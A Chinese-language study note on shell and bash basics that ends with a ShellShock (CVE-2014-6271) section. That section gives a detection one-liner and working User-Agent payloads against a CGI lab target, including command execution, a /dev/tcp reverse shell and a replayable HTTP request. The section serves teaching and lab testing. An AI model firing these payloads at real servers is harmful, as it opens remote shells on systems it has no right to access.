Shell
shell是一个程序,可以称为壳程序,用于用户与操作系统进行交互。
Shell 既是一种命令语言,又是一种程序设计语言。
Shell有很多中,这里列出其中几种
- Bourne SHell(sh)
- Bourne Again SHell(bash)
- C SHell(csh)
- KornSHell(ksh)
- zsh
运行shell脚本有两种办法:
1.作为可执行程序
将上面的代码保存为test.sh,并cd到相应目录:
chmod +x ./test.sh #使脚本具有执行权限
./test.sh #执行脚本
如果写成test.sh,linux系统会去 PATH 里寻找有没有叫 test.sh 的,而只有 /bin, /sbin, /usr/bin,/usr/sbin 等在 PATH 里,你的当前目录通常不在 PATH 里,所以写成 test.sh 是会找不到命令的,要用 ./test.sh 告诉系统说,就在当前目录找。
2.作为解释器参数
这种运行方式是,直接运行解释器,其参数就是 shell 脚本的文件名,如:
/bin/sh test.sh
/bin/php test.php
这种方式运行的脚本,不需要在第一行指定解释器信息,写了也没用。
bash
bash功能
记录历史命令:bash可以记录曾经的命令,保持在~/.bash_history文件中,只保存上次注销登录之后的命令
tab键自动补全:使用tab见可以自动不全命令或者目录i
alias命令别名:可以使用alias ll='ls -al'来设置命令的别名
工作控制:可以将某些任务放在后台去运行,这里不多种介绍
程序脚本:可以执行shell脚本文件
通配符:在查找相关文件或者执行相关命令时,可以使用通配符*
内建命令type:可以使用type 命令来查看某个命令是否为内建在bash当中的命令
bash变量
bash变量分为环境变量和自定义变量,可理解为全局和部分。
变量的设定
变量的设定有几个规则,这里列举如下:
- 设定变量通过=来链接,例如name=sujinzhou,两边不能有空格,如果有空格的话,需要用引号
- 变量名只能是英文名和数字,只能是英文开头
- 如果变量内容被引号扩起来的话,双引号和单引号是有区别的
- 双引号里面的特殊字符,会保持原有的特性。
- 单引号里面的特殊字符,只会是字符
- 使用\将特殊字符转换为一般字符
- 使用“这个符号扩起来的命令会先计算这个命令里面的内容,这个指令等价于$()
- 给原有的变量添加值时,使用变量,"变量”再加具体的内容
变量类型
bash中变量类型有两种,一种是普通的字符串,一种是整数;设置变量的类型使用的是declare命令,delcare的命令格式如下
declare -[axir] variable
参数的意思:
- -a
:将variable定义为数组
- -i
:将后面的变量设置为整数类型
- -x
:与export一样,将后面的变量设置为环境变量
- -r
:将后面的变量设置为只读变量
如果declare命令没有接任何变量的话,则表示显示所有
定义数组
var[index]=content
变量的删除
删除变量使用如下命令
- unset 变量名
变量的查看
查看单个命令的内容,可以使用echo命令,使用echo $变量名就可以查看变量内容,另外如果要查看所有变量有3个命令,分别是如下几个命令,每个命令又有区别。
- echo $变量名:用于显示制定变量
- env:用来查询环境变量,
- set:显示shell变量,包括私有变量与用户变量,不同的shell有不同的私有变量,在shell中设置变量之后,可以通过set查到
- export:显示当前导出成用户变量的shell变量,也是用来查询环境变量的,shell的私有变量不会出现
编写shell脚本
打开文本编辑器(可以使用 vi/vim 命令来创建文件),新建一个文件 test.sh,扩展名为 sh(sh代表shell),扩展名并不影响脚本执行,见名知意就好,如果你用 php 写 shell 脚本,扩展名就用 php 好了。
#!/bin/bash
echo "Hello World !"
#! 是一个约定的标记,它告诉系统这个脚本需要什么解释器来执行,即使用哪一种 Shell。
echo 命令用于向窗口输出文本。
ShellShock
漏洞原因: 目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“() {”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
验证方法
目前的Bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的Bash函数传递给子相关进程。一般函数体内的代码不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。安天CERT针对“破壳”漏洞进行了细致的验证,包括本地验证、远程模拟验证、远程真实验证。远程验证以提供开启CGI的httpd服务器进行测试。因为当执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理。除此之外安天CERT还进行了DHCP等利用“破壳”漏洞攻击的模拟与攻击方法验证。
本地检测
在Bash Shell下执行以下代码:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果输出:
vulnerable
this is a test
表示存在漏洞。
操作:
访问 http://存在漏洞的IP地址/cgi-bin/poc.cgi
,通过 Burp 截包,修改 HTTP 请求头中 UA 字段:
- 命令执行
User-Agent: () { :;};echo ; echo; echo $(/bin/ls -al /); #列出bin目录下所有文件
- 反弹 Shell 到 ip 8888端口:
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ip/8888 0>&1;
完整的请求报文如下(可直接复制到 Burp 下重放):
GET /cgi-bin/poc.cgi HTTP/1.1
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: () { :;};echo ; echo; echo; echo $(/bin/ls -al / );
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
注意:部分嵌入式设备的环境变量未设置会导致一些命令需要使用绝对路径,可在执行命令前导入环境变量
eg:
User-Agent: () { :;};echo ; echo; export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; echo $(/bin/ls -al /);
参考blog:http://www.freebuf.com/news/48331.html
https://github.com/Medicean/VulApps/tree/master/b/bash/shellshock1_CVE-2014-6271